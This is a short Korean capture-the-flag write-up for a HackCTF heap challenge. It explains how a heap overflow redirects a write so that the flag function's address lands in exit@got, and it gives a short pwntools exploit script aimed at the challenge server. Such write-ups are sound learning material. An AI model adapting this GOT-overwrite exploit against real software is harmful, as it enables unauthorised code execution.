Def Camp 2016 Warm Heap와 완전히 똑같은 문제이다.
# 보호기법 확인
# pseudo code
# process
1번째 fgets 후 heap 상태 :
1번째 strcpy 후 heap 상태 :
v4+1이 exit@got로 덮힌 것 확인 가능
두 번째 fgets와 strcpy가 끝난 후 :
exit@got(0x601068) 에 flag 함수 주소(0x400826) 값이 적혀있다.
# exploit code
pwn import *
#p = process("./beginner_heap.bin")
p = remote("ctf.j0n9hyun.xyz", 3016)
#gdb.attach(p)
elf = ELF("./beginner_heap.bin")
flag = 0x400826
exit_got =elf.got['exit']
p.sendline('A'*40 + p64(exit_got))
p.sendline(p64(flag))
p.interactive()
# exploit
[HackCTF] Look at me (sysrop) (0) | 2020.01.31 |
---|---|
[HackCTF] SysROP (0) | 2020.01.30 |
[HackCTF] Unexploitable #2 (0) | 2020.01.19 |
[HackCTF] Unexploitable #1 (0) | 2020.01.19 |
[HackCTF] UAF (0) | 2020.01.19 |